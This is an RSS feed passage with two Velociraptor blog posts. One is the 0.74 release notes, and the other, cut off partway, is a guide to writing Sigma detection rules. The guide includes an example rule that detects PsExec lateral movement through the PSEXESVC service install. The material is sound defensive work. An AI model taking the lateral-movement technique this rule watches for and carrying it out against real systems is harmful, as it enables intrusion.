target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.74 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2025/2025-02-23-release-notes-0.74/</link>
      <pubDate>Mon, 10 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2025/2025-02-23-release-notes-0.74/</guid>
      <description>&lt;p&gt;I am very excited to announce that the latest Velociraptor release&#xA;0.74 is now in the release candidate (RC) status and available for&#xA;testing.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the new features introduced by&#xA;this release.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-improvements&#34;&gt;GUI Improvements&lt;/h2&gt;&#xA;&lt;p&gt;This release improves a number of GUI features.&lt;/p&gt;&#xA;&lt;h3 id=&#34;notebooks-now-receive-typed-parameters&#34;&gt;Notebooks now receive typed parameters&lt;/h3&gt;&#xA;&lt;p&gt;Notebooks can now receive typed parameters and tools. This can be used&#xA;to create sophisticated notebooks which utilize external tools and&#xA;user parameters for post processing complex results.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the new &lt;code&gt;Sigma Studio&lt;/code&gt; notebook - a specialized&#xA;notebook designed to facilitate development of &lt;code&gt;Sigma&lt;/code&gt; rules.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-23-release-notes-0.74//blog/2025/2025-02-23-release-notes-0.74/notebook_parameters_.svg&#34; alt=&#34;Notebook templates can accept parameters&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;734.6750000000001&#34;&#xA;         width=&#34;1375.905138339921&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;notebook_parameters.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Notebook templates can accept parameters&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Notebook parameters can be modified at any time, where they are made&#xA;available to cells for recalculation. This allows notebook templates&#xA;to be interactive.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-23-release-notes-0.74//blog/2025/2025-02-23-release-notes-0.74/editing_notebook_parameters_.svg&#34; alt=&#34;Parameters can be modified at any time by pressing the Edit Notebook button&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;488&#34;&#xA;         width=&#34;1311.0344827586205&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;editing_notebook_parameters.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Parameters can be modified at any time by pressing the Edit Notebook button&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;expose-the-debug-server-to-all-admin-users&#34;&gt;Expose the debug server to all admin users&lt;/h3&gt;&#xA;&lt;p&gt;Sometimes it is hard to know what is happening within Velociraptor -&#xA;this is especially the case when a large collection is made or a&#xA;complex query is added to the notebook.&lt;/p&gt;&#xA;&lt;p&gt;Previously Velociraptor had a debug server which was accessible when&#xA;started with the &lt;code&gt;--debug&lt;/code&gt; flag. The debug server exposes a lot of&#xA;internal state in order to help users understand what is going on.&lt;/p&gt;&#xA;&lt;p&gt;However, adding another command line flag and exposing a new port&#xA;requires the server to be restarted which makes it hard to access this&#xA;debugging information.&lt;/p&gt;&#xA;&lt;p&gt;In this release the debug server is always exposed in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-23-release-notes-0.74//blog/2025/2025-02-23-release-notes-0.74/accessing_debug_server_.svg&#34; alt=&#34;Accessing the debug server from the GUI&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;740&#34;&#xA;         width=&#34;1316.8299711815564&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;accessing_debug_server.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Accessing the debug server from the GUI&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The debug server has a lot more interesting pages now. For example the&#xA;&lt;code&gt;Plugin Monitor&lt;/code&gt; page shows which VQL plugins are currently in any&#xA;query and what parameters they were given.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-23-release-notes-0.74//blog/2025/2025-02-23-release-notes-0.74/running_plugins.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;The running plugins show what plugins are currently running in any query&#34;&#xA;         width=&#34;1128&#34; height=&#34;305&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;running_plugins.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The running plugins show what plugins are currently running in any query&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above shows the &lt;code&gt;glob()&lt;/code&gt; plugin is currently searching the glob&#xA;&lt;code&gt;C:/Windows/**/*.exe&lt;/code&gt; and had been for 7 seconds. This page provides&#xA;visibility as to what plugins are running slower than expected and&#xA;what they are doing.&lt;/p&gt;&#xA;&lt;p&gt;Breaking it down even further the &lt;code&gt;GlobTracker&lt;/code&gt; page shows the last 10&#xA;files visited by the &lt;code&gt;glob()&lt;/code&gt; plugin. This is often critical to&#xA;understanding why a glob operation is slow, as sometimes the plugin&#xA;will visit many files and directory which do not match or are on a&#xA;remote network drive leading to long delays without evident progress.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-23-release-notes-0.74//blog/2025/2025-02-23-release-notes-0.74/glob_tracker.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Seeing the last few files visited by the glob plugin above&#34;&#xA;         width=&#34;1682&#34; height=&#34;610&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;glob_tracker.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Seeing the last few files visited by the glob plugin above&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;There are many other debug pages including &lt;code&gt;ETW&lt;/code&gt; tracking,&#xA;&lt;code&gt;ExportContainer&lt;/code&gt; tracking the progress of zip export of hunts or&#xA;collections, &lt;code&gt;Client Monitoring Manager&lt;/code&gt; reports status of client&#xA;monitoring queries and many more.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; The debug server is still available with the --debug flag &#34;&gt;&lt;p&gt;While in this release the debug server is always present in the GUI,&#xA;the debug server is still available in other contexts as well. You can&#xA;still start the debug server on a client with the &lt;code&gt;--debug&lt;/code&gt; flag and&#xA;similarly in the offline collector by starting it with&#xA;&lt;code&gt;VelociraptorCollector.exe -- --debug&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;real-time-detection-and-monitoring&#34;&gt;Real time detection and monitoring&lt;/h2&gt;&#xA;&lt;p&gt;As Velociraptor is used more and more in real time detection&#xA;applications, Velociraptor&amp;rsquo;s detection capabilities are maturing. We&#xA;are now using &lt;code&gt;Sigma&lt;/code&gt; rules in many contexts, not just to triage&#xA;Windows Event logs, but also to match real time events from &lt;code&gt;eBPF&lt;/code&gt; and&#xA;&lt;code&gt;ETW&lt;/code&gt; as well as more traditional forensic artifacts.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sigma-studio&#34;&gt;Sigma Studio&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s &lt;code&gt;sigma()&lt;/code&gt; plugin appeared in the previous release and&#xA;was improved greatly in this release. Previously Sigma rules were used&#xA;primarily for rapid triaging of Windows Events using the &lt;code&gt;Hayabusa&lt;/code&gt;&#xA;rule set. A Curated set of rules are published on the Velociraptor&#xA;Sigma site at &lt;a href=&#34;https://sigma.velocidex.com/&#34; target=&#34;_blank&#34; &gt;https://sigma.velocidex.com/&lt;/a&gt; - these rules can be&#xA;automatically imported using the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/server.import.extras/&#34;&gt;Server.Import.Extras&lt;/a&gt;&#xA;artifact.&lt;/p&gt;&#xA;&lt;p&gt;Previously it was difficult to write and test your own custom Sigma&#xA;rules. However in this release we introduced the concept of &lt;code&gt;Sigma Models&lt;/code&gt; - a preset collection of &lt;code&gt;Sigma log sources&lt;/code&gt; that can be used&#xA;in particular contexts to write custom rules.&lt;/p&gt;&#xA;&lt;p&gt;The GUI also introduces a new &lt;code&gt;Sigma Editor&lt;/code&gt; which is used in the&#xA;&lt;code&gt;Sigma Studio&lt;/code&gt; Notebook Template. These measure make it easy to write&#xA;or curate custom Sigma Rules.&lt;/p&gt;&#xA;&lt;p&gt;To understand how all these components work together, read our new&#xA;blog post &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma/&#34;&gt;Developing Sigma Rules in Velociraptor&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;linux-ebpf-support&#34;&gt;Linux eBPF support&lt;/h3&gt;&#xA;&lt;p&gt;Live detection using Sigma rules works well on Windows as we have a&#xA;good source of events with Sysmon or Windows event logs. For example&#xA;the&#xA;&lt;a href=&#34;https://sigma.velocidex.com/docs/artifacts/velociraptor_hayabusa_event_ruleset/&#34; target=&#34;_blank&#34; &gt;Windows.Hayabusa.Monitoring&lt;/a&gt;&#xA;artifact uses the &lt;code&gt;watch_evtx()&lt;/code&gt; plugin to follow event logs and match&#xA;them against the Hayabusa rule set in real time.&lt;/p&gt;&#xA;&lt;p&gt;However for Linux we did not have a reliable live event&#xA;stream. Velociraptor previously had the &lt;code&gt;watch_auditd()&lt;/code&gt; plugin to&#xA;receive &lt;code&gt;auditd&lt;/code&gt; events but this was always clunky and hard to&#xA;configure.&lt;/p&gt;&#xA;&lt;p&gt;In this release Velociraptor includes a full &lt;code&gt;eBPF&lt;/code&gt; plugin based on&#xA;the excellent open source &lt;a href=&#34;https://github.com/aquasecurity/tracee&#34; target=&#34;_blank&#34; &gt;tracee&#xA;project&lt;/a&gt;. This given&#xA;unprecedented access to live system telemetry on Linux via VQL. Among&#xA;others some useful events include&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;File operations with process information (open, delete, rename etc).&lt;/li&gt;&#xA;&lt;li&gt;Process Start/Stop.&lt;/li&gt;&#xA;&lt;li&gt;Network Connections (with process information).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can see example events from the eBPF plugin in the &lt;a href=&#34;https://sigma.velocidex.com/docs/models/linux_ebpf_base/&#34; target=&#34;_blank&#34; &gt;Linux Base&#xA;eBPF Model&lt;/a&gt;&#xA;page. These events are directly available now in Sigma rules so we can&#xA;monitor Linux endpoints in real time.&lt;/p&gt;&#xA;&lt;h3 id=&#34;added-support-for-the-nt-kernel-logger-etw-session&#34;&gt;Added support for the NT Kernel Logger ETW session&lt;/h3&gt;&#xA;&lt;p&gt;While on Linux we need an eBPF program to access system telemetry, on&#xA;Windows we can in theory use ETW as a built in way. Velociraptor had&#xA;the &lt;code&gt;watch_etw()&lt;/code&gt; plugin for a long time, but we found that some&#xA;specialized ETW sources actually require a lot of processing before&#xA;they were directly usable.&lt;/p&gt;&#xA;&lt;p&gt;On Windows there is a special ETW provider called the &lt;code&gt;NT Kernel Logger&lt;/code&gt; provider. This provider gives live events for many kernel&#xA;operations:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Process Start/Stop events&lt;/li&gt;&#xA;&lt;li&gt;Module Load events (Linking dlls)&lt;/li&gt;&#xA;&lt;li&gt;Network Operations&lt;/li&gt;&#xA;&lt;li&gt;Registry keys&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And many more. The provider can also provide stack traces for system&#xA;calls which may be useful in some detection scenarios.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor now supports this provider for receiving real time&#xA;events. You can see some of the events provided in the &lt;a href=&#34;https://sigma.velocidex.com/docs/models/windows_etw_base/&#34; target=&#34;_blank&#34; &gt;Windows Base&#xA;ETW Model&lt;/a&gt;&#xA;page explaining how to use those for Sigma detection rules.&lt;/p&gt;&#xA;&lt;p&gt;This exciting capability brings Velociraptor into line with other open&#xA;source endpoint detection tools, for example&#xA;&lt;a href=&#34;https://www.fibratus.io/&#34; target=&#34;_blank&#34; &gt;Fibratus&lt;/a&gt; uses this log provider almost&#xA;exclusively.&lt;/p&gt;&#xA;&lt;h2 id=&#34;vql-and-artifacts&#34;&gt;VQL and Artifacts&lt;/h2&gt;&#xA;&lt;p&gt;This release also brings some improvements in Velociraptor&amp;rsquo;s plugins&#xA;and artifacts.&lt;/p&gt;&#xA;&lt;h3 id=&#34;added-parse_pst-plugin-and-pst-accessor&#34;&gt;Added parse_pst() plugin and pst accessor&lt;/h3&gt;&#xA;&lt;p&gt;One commonly requested feature is support for &lt;code&gt;PST&lt;/code&gt; files, usually&#xA;containing Outlook emails. This release introduces the &lt;code&gt;parse_pst()&lt;/code&gt;&#xA;plugin which allows us to parse emails from a PST file as well as&#xA;extract attachments for Yara scanning.&lt;/p&gt;&#xA;&lt;h3 id=&#34;artifact-verifier&#34;&gt;Artifact Verifier&lt;/h3&gt;&#xA;&lt;p&gt;As users start to build large corpus of custom artifacts, the need for&#xA;automated static analysis of VQL artifacts is increasing.&lt;/p&gt;&#xA;&lt;p&gt;This release introduces the new &lt;code&gt;velociraptor verify&lt;/code&gt; command. This&#xA;command scans a set of directories for VQL artifacts and uses static&#xA;analysis to find errors and highlight issues.&lt;/p&gt;&#xA;&lt;p&gt;Currently the command employs the following checks:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Checks the VQL syntax is correct&lt;/li&gt;&#xA;&lt;li&gt;Ensures that plugins and function that are called in VQL actually&#xA;exist - this flags common errors like using a VQL plugin where a&#xA;function is needed etc.&lt;/li&gt;&#xA;&lt;li&gt;Ensures plugins are called with the correct arguments. This flags&#xA;common errors like passing a plugin a deprecated argument or&#xA;accidentally calling a plugin with the wrong parameter.&lt;/li&gt;&#xA;&lt;li&gt;Ensures that dependent artifacts are called correctly - i.e. the&#xA;artifacts define the parameters that are being called.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This command is intended to run inside a Continuous integration (CI)&#xA;pipeline as a presumbit check for artifact correctness.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest&#xA;release. Please download the release candidate and give it a test and&#xA;provide feedback.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Developing Sigma Rules in Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma/</link>
      <pubDate>Sun, 02 Feb 2025 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Upcoming release 0.74 &#34;&gt;&lt;p&gt;This post discusses some features that will be available in the&#xA;upcoming 0.74 release. Although the general methodology is available&#xA;in earlier releases, some of the GUI features are new.&lt;/p&gt;&#xA;&lt;p&gt;If you want to play with these new features and provide feedback,&#xA;please feel free to &lt;a href=&#34;https://github.com/Velocidex/velociraptor/tree/master?tab=readme-ov-file#getting-the-latest-version&#34; target=&#34;_blank&#34; &gt;download the latest version&lt;/a&gt; for testing.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Recent versions of Velociraptor have incorporated a powerful Sigma&#xA;engine built right into Velociraptor. This blog post details how you&#xA;can write custom Sigma rules to leverage Velociraptor&amp;rsquo;s Sigma&#xA;capabilities.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-sigma&#34;&gt;What is Sigma?&lt;/h2&gt;&#xA;&lt;p&gt;You can read more about Sigma in our &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2024/2024-05-09-detection-engineering/&#34;&gt;Detection Engineering&lt;/a&gt; blog post. Since&#xA;that post, Sigma has been adopted as the standard detection mechanism&#xA;within Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;To begin, let&amp;rsquo;s define some terms.  In Velociraptor an &lt;code&gt;Event&lt;/code&gt; is&#xA;simply a key/value set (AKA a &lt;code&gt;Dictionary&lt;/code&gt; or &lt;code&gt;Row&lt;/code&gt;). The &lt;code&gt;Event&lt;/code&gt; can&#xA;be produced from a variety of sources as we examine below. The&#xA;producer of a particular type of events is called a &lt;code&gt;Log Source&lt;/code&gt;,&#xA;which in Velociraptor is simply a VQL query, emitting rows as Events.&lt;/p&gt;&#xA;&lt;p&gt;Sigma is a standard for writing &lt;code&gt;Detection Rules&lt;/code&gt;. In this context, a&#xA;detection rule is a rule that processes some &lt;code&gt;Events&lt;/code&gt; to produce a&#xA;&lt;code&gt;Detection&lt;/code&gt; - i.e. a binary classification of whether the event is&#xA;noteworthy for further inspection. You can think of a Sigma rule as a&#xA;filter - events are fed into the rule and the rule filter events which&#xA;do not match and allows through those events that match the rule.&lt;/p&gt;&#xA;&lt;p&gt;This process is illustrated in the diagram below:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma/../../2024/2024-05-09-detection-engineering/velociraptor_sigma_flow.svg&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Velociraptor Sigma Workflow&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Velociraptor Sigma Workflow&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Sigma Rules&lt;/code&gt; are pushed to the endpoint into the &lt;code&gt;sigma()&lt;/code&gt;&#xA;plugin. Events are generated via &lt;code&gt;Log Sources&lt;/code&gt; on the client and any&#xA;matching events are forwarded to the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;anatomy-of-a-sigma-rule&#34;&gt;Anatomy of a Sigma Rule&lt;/h2&gt;&#xA;&lt;p&gt;An example Sigma rule can be seen below.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: PSExec Lateral Movement&#xA;logsource:&#xA;    product: windows&#xA;    service: system&#xA;detection:&#xA;    selection:&#xA;        Channel: System&#xA;        EventID: 7045&#xA;    selection_PSEXESVC_in_service:&#xA;        Service: PSEXESVC&#xA;    selection_PSEXESVC_in_path:&#xA;        ImagePath|contains: PSEXESVC&#xA;    condition: selection and (selection_PSEXESVC_in_service or selection_PSEXESVC_in_path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule has several sections:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;code&gt;logsource&lt;/code&gt; section specifies an event source to match the rule&#xA;against.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;detection&lt;/code&gt; clause contains a list of &lt;code&gt;selections&lt;/code&gt; joined into&#xA;a logical &lt;code&gt;condition&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Selections refer to abstract fields that map to actual fields&#xA;within the event. These mappings are called &lt;code&gt;Field Mappings&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The Sigma standard does not define what log sources are actually&#xA;available in any specific environment, nor does it define the specific&#xA;structure of each event. Similarly the &lt;code&gt;Field Mappings&lt;/code&gt; are not&#xA;defined by the standard.&lt;/p&gt;&#xA;&lt;p&gt;The executing environment maps the rule&amp;rsquo;s &lt;code&gt;logsource&lt;/code&gt; section with a&#xA;particular VQL query that generates events. The executing environment&#xA;evaluating the rule also defines a set of &lt;code&gt;Field Mappings&lt;/code&gt; which allow&#xA;selections to address specific fields within the event.&lt;/p&gt;&#xA;&lt;h2 id=&#34;sigma-models&#34;&gt;Sigma Models&lt;/h2&gt;&#xA;&lt;p&gt;Because Sigma does not specify exactly how to interpret the rule, we&#xA;need something else to be able to properly evaluate a Sigma rule:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Specific &lt;code&gt;Log Sources&lt;/code&gt; need to be declared - rules can only access&#xA;these pre-defined &lt;code&gt;Log Sources&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;A set of &lt;code&gt;Field Mappings&lt;/code&gt; must be defined to map between abstract&#xA;field names to concrete fields within the event object that is&#xA;returned by the log source.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Therefore a rule can only operate within a specific environment and it&#xA;is generally not guaranteed to evaluate the rule in a different&#xA;environment.&lt;/p&gt;&#xA;&lt;p&gt;In Velociraptor, we call the execution environment the &lt;code&gt;Sigma Model&lt;/code&gt;. The Model defines a specific set of &lt;code&gt;Log Sources&lt;/code&gt; and &lt;code&gt;Field Mappings&lt;/code&gt; designed to operate in concert with Sigma Rules in a&#xA;specific context.&lt;/p&gt;&#xA;&lt;p&gt;Sigma Rules can only be safely interpreted within the context of a&#xA;specific &lt;code&gt;Sigma Model&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For example, if an organization is running a particular SIEM product&#xA;and use Sigma rules for detection, there is no guarantee that those&#xA;same rules will work in another organization running a different SIEM&#xA;product. We refer to the &lt;code&gt;Sigma Model&lt;/code&gt; specific to each environment -&#xA;for example the &lt;code&gt;Elastic Common Schema Model&lt;/code&gt; allows writing Sigma&#xA;rules against those logs collected by the &lt;code&gt;Elastic SIEM&lt;/code&gt; and their&#xA;respective schema (which is well defined).&lt;/p&gt;&#xA;&lt;p&gt;One of the main criticisms of Sigma is that it is not well defined&#xA;(unlike the &lt;code&gt;Elastic Common Schema&lt;/code&gt; for example), making&#xA;inter-operation fairly error prone and difficult.&lt;/p&gt;&#xA;&lt;p&gt;In Velociraptor, we avoid this issue by defining a &lt;code&gt;Sigma Model&lt;/code&gt;&#xA;precisely and only evaluating rules within that well defined model. We&#xA;end up with various &amp;ldquo;flavors&amp;rdquo; of Sigma rules.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor separates the implementation of the &lt;code&gt;Sigma Model&lt;/code&gt; from&#xA;the maintainance of the &lt;code&gt;Sigma Rules&lt;/code&gt; themselves. This makes it easier&#xA;to maintain a set of rules separately from the model itself.&lt;/p&gt;&#xA;&lt;p&gt;For example, the &lt;a href=&#34;https://sigma.velocidex.com/&#34; target=&#34;_blank&#34; &gt;Velociraptor Sigma Project&lt;/a&gt; maintains&#xA;&lt;code&gt;Velociraptor.Hayabusa.Ruleset&lt;/code&gt; artifact which is a port of the Sigma&#xA;rules maintained by the Hayabusa project to the &lt;code&gt;Windows.Sigma.Base&lt;/code&gt;&#xA;triage model.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-02-02-sigma//blog/2025/2025-02-02-sigma/inheritance_.svg&#34; alt=&#34;Curated sets of Sigma Rules can be maintained through artifact delegation&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;692&#34;&#xA;         width=&#34;1524.9455676516327&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;inheritance.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Curated sets of Sigma Rules can be maintained through artifact delegation&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This allows users to easily leverage existing model to write and&#xA;maintain their own custom set of rules.&lt;/p&gt;&#xA;&lt;h2 id=&#34;writing-custom-sigma-rules&#34;&gt;Writing custom Sigma Rules&lt;/h2&gt;&#xA;&lt;p&gt;While it is common to use curated rule sets for triage, this article&#xA;explains the process of developing and testing custom rules.&lt;/p&gt;&#xA;&lt;p&gt;Below is a worked example of applying the &lt;code&gt;Log Triage Model&lt;/code&gt; to&#xA;develop a Sigma Rule to detect misuse of the &lt;code&gt;BITS&lt;/code&gt; service.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-windowssigmabase-log-triage-model&#34;&gt;The Windows.Sigma.Base Log Triage Model&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://sigma.velocidex.com/docs/models/windows_base/&#34; target=&#34;_blank&#34; &gt;Windows.Sigma.Base&#xA;Model&lt;/a&gt;, is used&#xA;for triaging event log files on Windows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The model defines log sources that access static Event Log Files on&#xA;a Windows System.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The model defines a set of &lt;code&gt;Field Mappings&lt;/code&gt; to access common fields&#xA;within the event log messages, as extracted by the &lt;code&gt;Log Sources&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This model is useful for &lt;a href=&#34;https://www.velociraptor-docs.org/training/playbooks/triage-logs/&#34;&gt;rapidly triaging event logs&lt;/a&gt; on an endpoint in order to&#xA;quickly surface relevant events. You can view the details of this&#xA;Sigma Model on the Velociraptor Sigma project&amp;rsquo;s pages&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div 